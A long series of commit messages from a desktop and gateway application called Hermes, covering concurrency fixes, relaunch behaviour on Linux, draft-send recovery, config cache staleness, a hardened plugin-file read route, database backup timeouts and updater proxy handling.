The token-read barrier test now allows 2 s (tests/AGENTS.md floor; the old
behaviour still takes ~10 s, so it still catches the regression). The shutdown
comment no longer says API-server runs use the loop default executor; they run
on their own bounded executor since the API-server loop work in this PR.
The turn-end active-session release moved to a background worker, while the next inbound
claim (_claim_active_session_slot) runs on the loop straight after. try_acquire counted the
finished turn's still-written registry entry, so with max_concurrent_sessions set the next
session was refused "at the active session limit (1/1)" with nothing running (6/100 and 2/100
trials vs 0/100 on main), and a Desktop/TUI writer taking over the same session right after a
gateway turn would see it "already owned".

Only the durable file write stays deferred now: release_soon marks the lease queued before it
returns, and every in-process registry read (_read_entries: claims, the Desktop snapshot, the
liveness guards, the orphan sweep) hides queued lease ids, so the next locked write persists
the drop. The release worker unmarks the lease under the registry lock before dropping it.
Review A's 100-trial repro: REFUSED 0/100.
Every turn sets hermes_logging's thread-local session id (build_turn_context) and never
clears it. Turn-executor threads are now reused, so the next item on that thread -- another
session's pre-turn work, an idle gate, another profile's turn -- logged under the previous
session's tag, and the sanitizer-heal accounting keyed on the same thread-local
(_session_id_for_heal_log, consume_pending_sanitizer_heal_notice) charged the wrong session.
A new thread starts with none of it; the reset between items now drops it too.

Swept every module-level threading.local in the tree: the rest are context-manager scoped
(lock holders, thread_scoped_silence, maintenance/CLI flows) or per-thread caches (stemmer,
worker loops), so none other carries per-turn state across items.
API turns used to run on the loop's default executor, which went away with its loop. The
module-global executor that replaced it outlived every adapter and loop: parked threads
lingered after disconnect, and in one test process a worker an earlier test left finishing
raised the process-global api_worker_live_count inside the shutdown close-gate tests
(test_shutdown_executor_quiesce: "SessionDB was never closed", "assert 2 == 1").

The executor is now created on first use and shut down without a join at adapter disconnect
(_close_run_state): parked workers exit, a worker inside a turn finishes it and keeps its
live-count share until then (the shutdown gate is unchanged), and a later submit gets a fresh
executor. The gateway tests' conftest joins what a test left running, as each test's loop
teardown did before. The run_shutdown comment no longer calls the executor bounded.
release_soon takes whatever the turn state holds as its lease; marking it queued read
ActiveSessionLease fields first, so a stand-in lease object raised on the loop at turn end
and left the session's running slot claimed (test_restart_resume_pending full-path test).
Anything that is not an ActiveSessionLease has no registry entry to hide.
Review G: a registry reached through a symlink and through its real path
keyed two queued-release sets, so the in-process hide missed and the
capacity refusal came back. And disconnect retired the API turn executor
before site.stop(), so a request landing in that gap minted a fresh
executor nothing retired.
The streaming terminal commit (_commit_terminal) called _persist_snapshot
unconditionally; only persist_snapshot checked self.store. A streamed
{"store": false, "conversation": ...} request was readable by GET and
advanced the named conversation. The keyed replay record still lands:
it is idempotency state, not response retention.

Review: unsupportedpastels deep review on #144911, finding 2.1.
The ResponseStore lock is held by worker threads for a whole persistence
unit (put serialises the chained history and commits). find_admission
(prepare_context retry lookup) and _admit_steps (bind_request_key, the
lookup, forget_unadmitted_request, bind_request_admission) took it on the
loop, so an idempotent request froze every other session for as long as a
concurrent response persisted.

The lookup is now _lookup_admission (store + state.db reads, pointer
repair) run under store.atomically in a worker: awaited via off_loop in
prepare_context, yielded as a step in _admit_steps so the per-authority
admission serialization of run_steps_off_loop still covers lookup and
admission. Only the live-session restore/check (_restore_admitted) stays
on the owner loop.

Review: unsupportedpastels deep review on #144911, finding 2.2.
The caller runs release_soon in a thread joined with a 5 s timeout while
the registry lock is held; it must return and the lease must still be
unreleased. Proven red with release_soon made synchronous.

Review: unsupportedpastels deep review on #144911, minor 3.
A persistence worker that outlives its cancelled handler holds the store
lock for a whole operation; disconnect() took that same lock on the event
loop, freezing every profile's loop (and the cleanup timeout meant to
bound teardown) until the worker finished.

Review: unsupportedpastels #144911 §2.1.
The keyed output index is now read off the loop, so a timer flush opening the message
item yields with message_opened set and no index yet. flush_batch returned early on an
empty buffer instead of taking _batch_lock, so end-of-stream closed the item with
output_index None and the 0 <= None check failed a successful turn. Always take the lock.
The terminal snapshot now commits off the loop. A cancel landing in that await
raised before terminal_snapshot_persisted was set while the worker still wrote the
completed snapshot, so the CancelledError branch then wrote incomplete over it (GET
read incomplete; on main the write was synchronous). The flag is now set by the
worker under the store lock, an incomplete snapshot is never written once it is set,
and the cancel branch abandons the agent before its persist await, so a second
cancel there cannot skip the abandon.
zwmaupin re-measured on Windows (psutil 7.2.2): psutil.pid_exists is ~4 us and does not
starve other threads; the #142085 stall is Process.status(). The ctypes branch stays (no
psutil on this hot path) with the comment and test docstring saying so, plus the PID 0
difference. The turn executor HX012 allow comment said items run in the caller's captured
context; each runs in a fresh empty Context.
Electron's Linux relauncher starts the new process with PR_SET_NO_NEW_PRIVS.
Every descendant inherits it, so after any self-relaunch (GPU fallback,
sandbox fallback, bundle-swap or Settings restart) the backend and the
agent's terminal run with NoNewPrivs=1: sudo refuses ("no new privileges"),
and pkexec and other setuid helpers stop working. The same flag stops a
genuine FUSE AppImage from mounting itself again, so it never comes back.

main.ts now hands every relaunch site and the final exit a relauncher from
createAppRelauncher(app). On Linux, relaunch() only records the args, and
exit() starts the target as an ordinary detached child right before
app.exit(). By then the backend is down and the single-instance lock has
been released, so the child takes the lock instead of quitting as a second
instance. The target is the AppImage file for a mounted image
(relaunchStrategy), otherwise process.execPath. The child gets the
launcher's short socket TMPDIR back, the same way the --no-sandbox
relaunch does. macOS and Windows keep app.relaunch.
The exit-time detached start now checks canRelaunch() (from #144950) first.
At that point the backend is already down, so an unrunnable target falls back
to Electron's relauncher instead of exiting with nothing to replace it.
Every in-app Linux relaunch starts its target through the fd-closing
trampoline from #144950. Under dash (/bin/sh on Debian and Ubuntu) that
trampoline can only close fds 3-9. After `ready`, Chromium holds dozens of
fds above 9 without O_CLOEXEC, so each relaunch inherited all of them. That
included the crashpad client socket, which kept one crashpad handler alive
per relaunch, and the DevTools listen socket, which stopped CDP from working.

- The trampoline now runs under `/bin/bash -p` when bash exists, which
  closes every fd above 2. `-p` stops BASH_ENV, ENV and exported functions
  from running in the trampoline, and still hands them to the image
  unchanged. An env that exports SHELLOPTS or BASHOPTS keeps /bin/sh,
  because bash rewrites those for its children.
- canRelaunch also checks that the chosen shell can run, and its log line
  now says what the caller does instead.
- The /proc/self/fd loop skips names that are not numbers.
- A relaunch requested after exit() started is ignored, so a second
  Restart no longer starts a second child.
Review L2: a relaunch that falls back to /bin/sh (SHELLOPTS/BASHOPTS
exported, or no runnable bash) keeps fds above 9 open with no trace; it is
now logged once at spawn. A synchronous spawn throw no longer skips
app.exit, so the app never keeps running with its lock already released.
Electron's app.relaunch() starts its relauncher at once, and it waits for the
old process to die by any means. Verified on Electron 44.9.3: app.relaunch()
followed by process.abort(), process.crash() or SIGKILL still starts the new
process. The Linux replacement only recorded the args and started the target
in exit(). A fatal abort during the backend-shutdown wait that follows every
in-app relaunch (Chromium's "GPU process isn't usable" during GPU recovery,
for example) therefore left nothing to bring Desktop back.

createAppRelauncher now hands each relaunch to an ordinary detached helper as
soon as it is requested. The helper is the existing fd-closing trampoline
with one step added in front: it reads its stdin until EOF. This process is
the only writer of that pipe, and libuv opens it close-on-exec, so EOF means
this process has exited, crashed or been killed. The target therefore still
starts only after the old backend and the single-instance lock are gone, and
it still runs without no_new_privs. The latest request wins (the earlier
helper is killed), and a synchronous spawn throw falls back to Electron's
relauncher.

The early sandbox restart (a runtime --no-sandbox from
desktop.electron_flags) ran after createNvidiaEglRecovery had written its
`booting` witness, and it exited without cleanExit. On an NVIDIA host the
relaunched process read that deliberate exit as a GPU abort mid-boot and
pinned SwiftShader for the build and driver. relaunchIfNoSandboxCameTooLate
now takes a beforeExit callback, and main.ts passes the recovery's cleanExit,
which is what exitAfterBackendShutdown already does.
replaced by cleanExit and removed, along with its duplicate test.

Restart ownership has one owner now. relaunchTarget() returns a path (the
image of a mounted AppImage, otherwise this executable) in place of the
electron/appimage strategy union, whose 'appimage' kind was also used for
ordinary executables. The sandbox helper asks the app's relauncher for the
restart and only checks up front that the target can start.

Live: real Hermes main bundle in a genuine type-2 AppImage on an NVIDIA
host, with desktop.electron_flags [--no-sandbox] and no `hermes desktop`.
On 48c60b48 the second process logged "NVIDIA ANGLE fallback=true (previous
launch aborted mid-boot ...)". With this change it logs fallback=false,
previous=ok.
The relaunch helper started its target on EOF of its stdin. That pipe closes
when Node tears down inside app.exit(), before Chromium's own shutdown (storage
flush, GPU, DevTools listener) has finished, and a core dump or crashpad can
keep the old browser alive for seconds more. The new process then booted next
to it and lost whatever it binds once and the old one still held, such as the
DevTools port. Electron's own relauncher waits for real death.

After EOF the helper now polls /proc/self/stat until it is no longer this
process's child. The kernel reparents it in exit_notify, after the dead
process's files, locks and sockets are released. This process's pid is passed
in rather than read from $PPID, so a parent that dies before the shell starts
does not stall the restart. The wait is bounded at 600 polls (~30 s); a stuck
old process then gets the old behaviour. Without /proc the read fails and the
target starts at EOF, as before. Probed under dash and bash -p: with EOF 1 s
before the parent's death the target starts 0.02-0.04 s after the death.

The helper tests that spawned it straight from the test runner (which stays
alive) now start it through a shell that backgrounds it and exits. A comment
at the latest-wins cancel records that it relies on the old helper's stdin
staying open until the SIGTERM lands.
Restacked from 52c3cfedb44, 67952249e5f, cc7d9da1a82 and 4024e69ce59. Their
code (strip the mount env only when restarting our own image file) now
arrives with #144950, which carries the same rule into spawnRelaunch, so
only their tests remain:
- an --appimage-extract-and-run restart keeps APPDIR;
- so does one whose extracted dir is reached through a symlinked $TMPDIR;
- Hermes started from another app's AppImage keeps that app's env whole.

Also keeps 52c3cfedb44's prettier wrap of ownAppImage's mount check.
The canonical safe-launch test reads opens.jsonl while the owner daemon and its children
keep appending to it through the sitecustomize audit hook. On ext4 and tmpfs a buffered
read is not serialized against a concurrent append, so the read can end inside a record
that is still being copied; json.loads then raised "Unterminated string" on that tail
(CI job 122327128685).

A record's newline is the last byte its writer emits, so records() now parses only
newline-terminated lines and leaves an unterminated tail, an append still in flight, for
the next read. Every record the test asserts on was finished before the state it checks.
Rows the gateway bills to a subscription the account holds (billing_mode:
subscription) keep their free usage level, so a full allowance never dims
them, but the pickers no longer label them "Free": that subscription pays.
The ids ride on plan_usage.subscription_model_ids for Desktop/TUI; CLI and
messaging pickers use usage_tag_levels().
Enter clears the composer and hands the text to an async send chain (session
resume or create, attachment sync, the prepared journal) before prompt.submit
is written. Closing or reloading the window inside that chain (~0-50 ms live)
ended the page with the words only in JS memory: nothing reached the backend
and the emptied draft is what persisted.

The composer now journals each send synchronously at Enter (localStorage, one
key per scope and submission, a Web Lock marking the owning page live) and
retires the entry once it knows the outcome. A journaled send no live page
owns is restored as its scope's draft with its retry identity, so Enter on it
is the explicit retry under the same submission_id and the owner admits it
once. Restored, never re-sent automatically (same contract as the prepared
journal).
When the window closed after the owner admitted a send but before the
submit ack came back, its composer-outbox entry survived, so the reopened
composer showed the words as a draft while the chat also showed them.

The owner now stamps the admission's submission_id on the user row the
turn persists (display_metadata.submission_id). Before re-offering an
orphaned entry, the outbox asks whether the owner holds that exact
submission: the session's pending snapshot (a queued admission has no row
yet) and then the stored transcript. A send that landed is dropped
silently; only a send the owner never received comes back as the draft.
An unknown answer (no snapshot, failed read) still re-offers it, so the
words are never lost.
A pending snapshot can name the dead page's admission only after the
draft was offered (the owner committed the frame after this page's
resume, or the snapshot came late). For two minutes after offering it,
a snapshot that lists the send's submission_id takes the draft back,
but only while the composer still holds it untouched (same scope, same
text, same retry identity).
- The saved draft can already hold an interrupted send's words (persisted before the send cleared
  the composer). It now takes that send's submission id at load and the outbox entry is retired,
  instead of the entry being offered again later beside the copy the user sent under a new id.
  If the owner already holds the send, that saved copy is taken back.
- A send re-offered after the page died comes back as text only (attachment bytes do not outlive
  the page); its retry record now names exactly that, so Enter reuses the original id.
- Enter (or Queue) on a restored send while a turn runs queues it under its id (the canonical
  admission or the local entry that drains under it) instead of steering it as a new message, so
  the owner deduplicates it against the interrupted original.
- Outbox entries expire after 24 h, and the dead-session prune drops entries of deleted sessions.
- The test helper reads localStorage through length/key(i), so its removal assertion is real.
- A send given back with its identity (rejected, or its outcome unknown after a timeout) whose
  saved draft is reloaded comes back as words only: the draft store persists text, not
  attachments. Its retry record now names exactly that, so Enter on it is still the retry of that
  send instead of a new message under a new id.
- The Steer action on a restored send queues it under its id, like a busy Enter: a steer carries
  no identity the owner could deduplicate against the interrupted original.
An attachment send that reached the owner but whose landed check missed comes back as text under its
original submission id. Enter on it was refused `admission_conflict` (same id, other payload): the
words stayed in the composer under a "Prompt failed" card, although the send had run once.

`admission_conflict` alone proves nothing (route, binding and lineage checks raise it too), so the
three checks that DO prove "this principal's id on this target is already admitted" now name it:
`field=request_id` (hermes_state_runtime.ADMITTED_REQUEST_CONFLICT) in admit_session_input,
retry_terminal_admission and the attachment-bytes check. Desktop settles exactly that refusal as the
dedupe it is (a `terminal` receipt: bubble dropped, journal retired, draft cleared, no new id).
Every other conflict, and a backend that names no field, stays a visible failure. An edited restored
draft already drops its id (matchingDraftRetry), so a deliberate edit is a new message.
A local queue entry drains under its id. When its first drain was admitted
but the ack was lost, the entry stays queued; an edit after that went out
under the same id, met the backend's request_id conflict, and settled as
already delivered, so the edit vanished without a notice.

Editing a local entry's words or attachments now mints a new submission id
(`submissionId`, read through `queuedSubmissionId`) that both drains and the
receipt projection use. The entry's own id, which keys its frozen transport
and edit state, stays put. Server-owned entries already mint the edit's id
through prompt.replace_queued and are untouched.
An interrupted send comes back as its words only: attachment bytes do not
outlive the page. A warning toast now says so on every restore path (the
saved draft loaded text-only, the offered retry, the adopted saved copy),
so the user does not send it believing the file went with it. The
downgraded retry record is written back, so the notice shows once.
A refusal tagged field=request_id is a client's explicit retry of a send
the owner already admitted: the dedupe working, which the client settles
as delivered. Logging it at warning put an expected path into errors.log.
Other tagged refusals keep warning.
The outbox dropped an entry after 24 h on any scan, so a send cut off
before a weekend away never came back. Seven days keeps it; the adopt and
landed checks already guard the stale re-offer the limit was bounding.
#144903 made the v4 draft stash authoritative: the v3 list is read only
before any page wrote v4. The test seeded later drafts through v3 after an
earlier page had written v4, so they were ignored. Clear v4 when seeding.
crypto.randomUUID exists only in secure contexts, and main's lint now
restricts it; @hermes/shared randomUuid works on every origin.
Both asynchronous recovery callbacks re-checked only the composer text.
The offer, resolved after the owner read, replaced an empty-text draft
that already held a newly attached file; the take-back (landed/withdraw)
cleared a restored draft the user had since attached a file to. The offer
now also requires no attachments (the send stays journaled for a later
load), and the take-back compares the full payload with the persisted
retry through matchingDraftRetry.

Review: unsupportedpastels #145018 §2.1.
The field=request_id check ignored the reason, so session.create's
invalid_params field=request_id refusals also dropped from warning to info
and out of errors.log. Lower only admission_conflict field=request_id.
adoptInterruptedSend handed a saved draft the old send's id on equal text
alone, outside the entry's Web Lock. Equal words the user typed again, or a
draft another window still sends, took that id and were then erased (the old
send landed) or deduplicated away. Adoption now takes the entry's Web Lock
(ifAvailable, like the restore path) and requires the draft's stash stamp to
predate the send's journal time; the composer re-checks it still holds that
exact draft before taking the identity.

Also: the outbox and retry stores reuse the draft stash's own scope key, the
landed check uses isFreshDraftScope, and the first send-then-close test has an
explicit timeout.
The give-back draft's retry id was cleared only when its text changed. After
removing a file and a reload or chat switch, loadedDraftRetry read the id as a
reload's dropped attachments: Enter retried the old send (the prepared journal
resent the removed file) and a false "attachments weren't restored" notice
showed. Any attachment change to a restored draft now drops the identity at
the edit, where it is still distinguishable from a reload.
editedSubmission compared only text and attachments. Replacing the frozen
@terminal transport behind the same chip text changes what is sent, yet the
entry kept its id: when the original's ack was lost, the owner refused the
edit as same-id-different-payload and the client settled it as delivered, so
the edit never ran. The transport is now part of the comparison.
The attachment listener passes the store's readonly snapshot (typecheck).
Every config parse cache (load_config, read_raw_config, load_user_config_effective,
read_config_doc_readonly, the managed overlay) keyed on the stat tuple
(mtime_ns, size, ino, ctime_ns). On kernels without multigrain timestamps a
same-length in-place rewrite (port 3 -> 5, k-old -> k-new) in the tick of an
earlier read keeps all four, so the older parse was served for the rest of the
process: a rotated api_key never reached a follow-profile session and the
route stayed on the old endpoint. That is the CI flake in
test_rotated_key_reaches_follow_and_held_pick_on_a_fresh_owner_and_routes_are_never_mixed
(got port 3, expected 5).

Caches now key on config_cache_version(): the backend's version plus a content
digest while the mtime is racy (younger than utils.RACY_MTIME_WINDOW_NS, the
same "racily clean" rule the change watcher and roster already use), read
before the parse it guards. Settled files cost no extra read; config_version()
itself is unchanged, so change watchers and the parse-failure record see no
spurious change when a file settles.
Every cache keyed on a file's stat signature had the bug the config caches had: a same-size
in-place rewrite in one coarse timestamp tick keeps mtime, ctime, size and inode, so the older
parse was served for the rest of the process. Move the helper to utils.file_cache_version
(file_signature + content digest while the file is under 2 s old; always_digest for signatures
compared much later, where the racy digest going empty would read as a change) and key every
cache that can hold a secret, token, pairing/allowlist, route or config on it:

- auth.py: global auth-store memo, Nous auth-status memo (was mtime only)
- gateway/pairing.py approved-users cache (a revocation kept access)
- run_profile_reconcile: served-profile signature (always_digest: a false change reconnects
  adapters) and the hook-consent signature
- webhook dynamic routes (route HMAC secrets), Feishu comment pairing/rules cache (mtime only)
- MCP OAuth tokens-file reload check (mtime only; always_digest: a reload tears the session down)
- config parse-failure record (always_digest), named-custom-provider memo, model aliases,
  gateway.standalone memo, profile model read, MoA preset, agent raw config,
  tui_gateway raw config cache, onboarding due stamp, free-tier inventory stamp,
  provider model-list credential fingerprint, git safe.directory key, skills prompt
  manifest

config_cache_version takes its stat through config_version, so its errors and seams are unchanged.
Left alone: the tool-definition cache key and the platform manifest stamp (a safe worker must
never open config.yaml or a plugin file; the MoA preset cache is skipped in one instead) and the
CLI MCP watcher seed (pinned to file_signature by a main test).
Review of #145651, items 1 and 2.

- utils.racy_content_digest / file_cache_version skip the digest of a config.yaml while a worker
  config snapshot is bound, in the helper itself, so no caller (config_cache_version,
  free_tier _config_stamp, always_digest keys) can make a safe worker open the profile file. Other
  files (auth.json, .env, pairing lists) keep same-tick detection in workers.
- "Recent" is the later of mtime and ctime: cp -p / rsync --inplace -t restore an older mtime after
  writing, never ctime.
- FileBackend.cache_version takes the racy decision from the file's own signature instead of
  indexing config_version's opaque token (test_profile_listing_cache's backend-version contract).

Tests: a fresh-exec audit-hook probe asserts config.yaml opens at the five reviewed readers are the
same with the file fresh and settled (red before: +1 at each); an mtime-restoring rewrite gets a
digest (red before).
Review of #145651, item 3: the hook-consent signature, free-tier inventory stamp, onboarding due
stamp and skills manifest are kept and compared on a later tick or by the next process, so they use
always_digest=True like the PR's other stored signatures; a racy digest turning empty no longer
costs one recompute after a fresh write settles.
The content digest added to stat-keyed caches opened the file where the stat-only key never did, so a
fresh config.yaml (or managed config/.env) that stats but cannot be read (mode 000, removed between the
stat and the hash, a directory) raised PermissionError/FileNotFoundError from the key itself, before
load_config / load_user_config_effective / the managed loader reached their read-error recovery. The
digest read now yields "<ErrorName>", which no hex digest matches: the key misses, the caller's own
read runs and meets the error in its existing recovery (last good settings, managed file ignored with
the warning). One helper, so every converted site gets it.

The settled-file test now advances a controlled clock past the racy window and asserts settled hits
never open the file for hashing (the frozen coarse tick kept it racy forever).
Native Desktop reads <root>/desktop-plugins from its own disk. A Webapp tab's
only disk is the server, and /api/fs is the wrong reader for it: it follows the
profile's SSH workspace and truncates at the 512 KiB preview cap.

/api/desktop-plugins/{root,list,read} answer exactly the loader's reads: the
app-level root, its plugin folders, and each folder's plugin.js and
.hermes-package.json, resolved through symlinks to inside the root, whole up
to Electron's 16 MiB plugin-source cap. Webapp surface only.
The browser bridge had no desktopPluginsRoot, so the runtime loader found no
plugin folder and loaded nothing in the Webapp, silently. The bridge now gives
the loader the root, a full-source read, and its folder reads from
/api/desktop-plugins; every other path keeps /api/fs.

The loader's 5 s poll picks up new and removed folders. An edited plugin.js
loads on Reload desktop plugins, since a browser cannot watch host files.
The routes resolved the requested path before checking containment, so a
`desktop-plugins/foo -> ~/src/foo` link listed as a folder and then 404'd,
and the loader's scan dropped it without a row. Containment is now checked
on the path as written (no `..`, at most a folder and a file below the root)
and the link is followed, the same way Electron's readDir does.

The runtime loader's security header now records why the Webapp's HTTP door
counts as a local source.
/api/desktop-plugins/read checked the entry's name, then followed a link to
whatever file it named, so a `plugin.js` linked to `~/.hermes/.env` was served
whole while /api/fs refuses that file. The route now opens the entry inside
the folder's real path without following a final link, applies the same
sensitive-path guard as /api/fs, and reads at most the source cap. A linked
plugin folder (`desktop-plugins/foo -> ~/src/foo`) still loads as before.
The previous commit refused a linked entry file, but only O_NOFOLLOW kept a
link out between the checks and the open. Swapping the plugin folder for a
link at that moment still served a file from a credential folder, a host
without O_NOFOLLOW (Windows) had no protection on the entry either, and a
FIFO named plugin.js blocked the read forever.

After the open, the route now requires that the entry's real path is still
the path it checked and that the opened file is the same regular file found
there (device and inode); anything else is a 404. The open is non-blocking,
so a FIFO is refused instead of waited on. Tests swap the folder, the entry
and a FIFO in at the open, with and without O_NOFOLLOW. Hard links are out
of scope: no path check can tell where one came from.
sqlite3's stepped backup (pages=256) restarts from the first page whenever
another connection writes the source database. Desktop runs the state.db
pre-flight with a 30s hard timeout while the backend is still live, so any
active agent turn, cron job or gateway message kept restarting the copy and
the update was cancelled with "state.db pre-flight failed: ... ETIMEDOUT".

Copy all pages in a single backup step instead. In WAL mode the read
transaction does not block writers, and the snapshot stays consistent.

Measured on a 342 MB state.db with a writer committing every 0.5s:
pages=256 timed out after 25s with 49 restarts; pages=-1 finished in 2.9s.
proc_ct rendered the POSIX hand-off's creation time with awk's printf, and
mawk (the default awk on Debian and Ubuntu) formats %f with LC_NUMERIC's
decimal separator. Under a comma-decimal locale the marker got
ct:1791471938,040, which MARKER_CT_RE and both readers reject, so the
hand-off judged its own claim a previous incarnation, refused to publish
the update child and every Desktop update aborted with exit 3.

Pin that awk to LC_ALL=C, as the ps/date calls beside it already are.

Fixes #135183
ct_close parses two dotted creation times via awk -v. mawk, gawk (also
--posix and --use-lc-numeric) and BusyBox awk all read -v assignments
with a dot under a comma-decimal locale today, so this is no behaviour
change; pinning LC_ALL=C makes the comparison locale-proof by
construction instead of by an awk implementation detail, matching the
write side in proc_ct (#135183).
proc_ct() parses `ps -o lstart=` with `date -j -f`, a BSD-only flag. The
Desktop hand-off inherits the login-shell PATH, so with Homebrew's coreutils
gnubin first `date` is GNU date: `-j` fails, `2>/dev/null || return 0`
swallows it, proc_ct prints nothing, ident_state returns 2 for the Desktop's
pid, the bridge-marker claim is refused and posix.sh exits 2 on every update.

Pin /bin/date, as the scripts already do for /usr/bin/python3 and xattr.

Fixes #137925
当 hermes update 在 Desktop hand-off 里失败时,shim 与下次启动的结果
弹窗只显示 "Update failed (exit N)",从不携带 updater 自己的输出,
用户没有任何可达途径看到真实失败原因(#137327)。

从本轮 log 切片(OUT)提取 updater 最后 3 行非空输出(剥离 ANSI/CR、
过滤 hand-off 自身的时间戳日志行、每行限 120 字符)附加到失败文案;
输出为空时保持原文案不变。
The Desktop ran the pre-update state.db snapshot through execFileSync with a
fixed 30 s timeout. A healthy 0.9-6 GB database cannot meet that, so every
in-app update died with `spawnSync ... ETIMEDOUT` before the backend stopped,
the Electron main process froze for the whole 30 s, and the killed snapshot
left a full-size .partial behind each time.

The snapshot now runs asynchronously (the caller still awaits it before
stopping the backend) with a deadline of 5 min + size/(5 MiB/s), capped at
30 min, sized from state.db plus its WAL. The Python helper exits through its
cleanup on SIGTERM (the deadline's kill signal) and reclaims staging copies
older than two hours that a hard-killed run (Windows TerminateProcess) could
not remove.

Existing tests: their call sites gained `await` only; assertions unchanged.

Co-authored-by: itsflownium <itsflownium@users.noreply.github.com>
The boot dialog said "Update failed (exit 1)" while the receipt for that same
run recorded stop_class=downgrade_refused: "Try again" replayed the refusal and
the channel that unblocks it never reached the user.

Read the failed run's own receipt -- correlation_id is the hand-off run_id, so
an older run cannot explain this one -- and explain the stops whose remedy the
CLI already owns. A refusal leads with the update settings instead of a retry;
anything unexplained keeps the generic dialog.
The pending-restart early return moves into a thin wrapper, so the card body
keeps its CC and its hooks run unconditionally.
The preload getVersion bridge dropped the {connectionId, profile} scope the
renderer passes (lost in merge b3bfc3afe5), so the version label always
reported the primary gateway. Forward the scope, re-fetch on any
connection/profile scope change with a stale-reply guard, and scope the
native About panel to the focused window.

Fixes #139333
Read `--version` from the local installation launcher for bootstrap/source
installs, with bounded execution, short caching, and an empty fallback.

Salvaged (#132379) beside #139334: the label keeps the active connection's
runtime version; the launcher read feeds a separate `clientVersion` field
(stamp identity for packaged artifacts), returned next to `backendVersion`.
About showed one "Version" that meant the ACTIVE connection's runtime on a source
install, so a stale or remote backend read as the installed version (#143656's
"About says 0.21.6 while 0.22.2 is installed"). The version details now name both
sides: "This device" (the install launcher / package stamp) and "Connected
backend" (the scoped runtime version #139334 restored).

Co-authored-by: wmorin <wmorin@users.noreply.github.com>
Co-authored-by: jj5638521 <jj5638521@users.noreply.github.com>
A stable update fetched the release commit with --no-tags. version_info names a
checkout by the newest release tag merged into HEAD, so the checkout moved to
v0.22.3 while /health, the install stamp, the receipt and About all named
v0.22.2(+1) until something fetched tags (#143656). The resolver already
verified the tag on origin; fetch exactly that one ref with the commit.
Where there is no parent-death signal (macOS), updater git ran with one pid in
custody: a timeout or cancel called proc.kill() and the owner-death watchdog
os.kill(pid), so git-remote-https, index-pack and pack-objects were reparented
and kept writing packs into .git after the update had reported the command
failed (#144439: 45.6 GiB of abandoned packs).

On such hosts every updater git command now leads a session of its own and is
ended with its process group: on timeout, on cancel, and (for commands without
the lock fd, as on Linux) when the owner dies. Local mutators still finish
their write if the owner dies; they hold the lock fd, as on Linux.
Offsets the version handler's growth under the main.ts line ratchet.
A suspended or restricted account's token (still printed by `gh auth token`)
is refused with 403, not 401, so the update check never retried anonymously
and the Updates screen said "We couldn't reach the update server" while the
same endpoint answered 200 anonymously (#134335). A 403 that is a spent rate
limit (x-ratelimit-remaining: 0) still fails as before.
Review finding "Backup blocks live message saves": with
database.journal_mode: delete a one-step backup (pages=-1) holds the
source's read lock for the whole copy, so the live backend's commits wait
for all of it; on slow NFS/SMB that outlasts SessionDB's write patience.

The one-step copy now runs only for WAL sources, where readers never block
writers. A rollback-journal source copies in steps that release the lock
between batches (256 pages first, then sized to ~0.1s at the measured
rate). Each foreign write restarts a stepped copy, so restarts are bounded
(20); a continuously written source then gets one whole-copy hold only
when the measured rate says it lasts <= 0.25s (under the 0.5s activity
write patience), otherwise the snapshot is refused with a message to
retry when no turn runs.

Live (writer process committing every 5 ms, timeout=20): a 392 MiB
delete-mode state.db held one commit 654 ms on the previous head (writer
alone: 33 ms); now the longest commit is 196 ms and the pre-flight refuses
in 5.7 s. 16 MiB delete-mode: snapshot in 0.27 s. WAL unchanged
(0.80 s, longest commit 72 ms).
Review finding "Signal test accepts normal completion": the test timed its
signal by database size, so a fast child could finish first, send_signal
hit an exited process and the empty-staging assertion passed anyway.

The test now holds an exclusive lock on a rollback-journal state.db, so the
child's copy busy-waits until it is signalled whatever the disk speed. It
asserts the child is still running with its staging file present before
sending SIGTERM, then asserts the handler's exit status (128 + SIGTERM)
before checking cleanup. No sleeps: tests.waiting.wait_until.

The staging file is now named before it is created (stamp + pid, created
owner-only by _safe_copy_db, which refuses a symlink), so a signal landing
right after creation still reaches the cleanup; mkstemp left a window
between creating the file and the try block.

Red under mutation (SIGTERM handler removed): returncode -15.
The stable fetch added the release tag to the commit fetch as a forced
refspec (+refs/tags/vX:refs/tags/vX). Two main contracts went red in CI:
- a remote without that tag (a fork or mirror, every channel-manifest
  fixture) failed the whole fetch with "couldn't find remote ref", so the
  update stopped (test_update_channel_release_hold,
  test_source_channel_integration);
- the forced refspec moved a stale local tag the stable pin promises never
  to move (test_stable_git_uses_remote_identity_without_moving_local_tags).

The commit fetch is main's again. After it succeeds, fetch_release_tag
fetches that one tag only when the checkout lacks it, without +, and
ignores a failure, so #143656's label fix stays for installs missing the
tag and every other install updates exactly as on main.
The version-details rows added updates.versionDetailsClient/Backend in en and
the full overlays only; ja, ru and zh-hant gained two untranslated keys
(overlay-completeness) and locales/_keys.desktop.json went stale
(i18n-keys). Both reds were on the PR's CI run.
git, Python's urllib, npm, uv and electron-builder's downloads honour
HTTPS_PROXY/HTTP_PROXY/NO_PROXY but never read the macOS or Windows system
proxy. A Desktop user whose only proxy is the system one got updates that
went direct and failed where direct access is blackholed (#123387).

Chromium already resolves the system proxy, PAC included. Every update
child's env (the source check and the three hand-off spawns) now comes
from sourceUpdateEnvironment, which asks session.resolveProxy for the
hosts the update reaches and, when the launch env carries no proxy
variable, hands the first proxy over as HTTPS_PROXY/HTTP_PROXY (both
cases) with hosts the system sends direct in NO_PROXY. An explicit proxy
env always wins and is passed through untouched; the backend's own env is
unchanged.

Live on Linux (real Electron, no *_proxy in the launch env, GNOME system
proxy via gsettings in a private D-Bus session, logging CONNECT proxy that
names each client process): Electron resolves PROXY 127.0.0.1:18774 on
both trees; base: the update check's python and git went direct (0
CONNECTs from children); head: CONNECT api.github.com from the
source-check python and github.com from git-remote-https. With an
explicit HTTPS_PROXY on another port, every child used the explicit one.
Review round on the system-proxy hand-off (#123387):

- The resolved proxy leaked into the relaunched Desktop and everything it
  starts. posix.sh relaunched with the update env scrubbed but the proxy
  env kept, the Windows Start-Process rung and the staged updater pass
  their env on, and gateways `hermes update` restarts inherit it. With a
  NO_PROXY of only localhost, every LAN or internal host the PAC sends
  direct went through the proxy, and the next update read the stale proxy
  as an explicit user setting and never re-resolved it.
  The Desktop now names each variable it adds in HERMES_UPDATE_SYSTEM_PROXY
  and saves a NO_PROXY of the user's it extends as
  HERMES_UPDATE_USER_<KEY>. The Desktop restores its own env at entry (every
  relaunch rung), posix.sh restores it in the relaunch subshells (Linux
  and macOS), windows.ps1 before the tethered Start-Process rung, and the
  gateway and serve/dashboard at start. A marked value is never taken
  for the user's own on the next update.
